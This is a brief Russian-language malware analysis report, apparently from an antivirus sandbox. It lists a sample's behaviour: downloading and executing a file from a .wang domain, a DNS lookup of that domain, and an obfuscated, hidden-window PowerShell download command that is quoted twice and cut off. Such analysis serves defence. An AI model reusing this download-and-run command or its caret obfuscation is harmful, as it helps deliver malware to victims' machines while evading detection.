Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://lolotocoporo.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOw^Er^sheLL.^eXE ^-^exeC^u^TIonPo^L^icy byPa^ss ^-N^o^pR^OFIlE ^-W^I^nDoWStY^lE HIdde^n^ (n^E^w^-oB^JE^c^T^ ^s^YsTE^m^.^N^e^t^.wEbc^liE^nT^).d^o^w^NL^oaD^File(^'http://lolotoc...
Сетевая активность
UDP
- DNS ASK lo####coporo.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOw^Er^sheLL.^eXE ^-^exeC^u^TIonPo^L^icy byPa^ss ^-N^o^pR^OFIlE ^-W^I^nDoWStY^lE HIdde^n^ (n^E^w^-oB^JE^c^T^ ^s^YsTE^m^.^N^e^t^.wEbc^liE^nT^).d^o^w^NL^oaD^File(^'http://lolotoc...' (со скрытым окном)
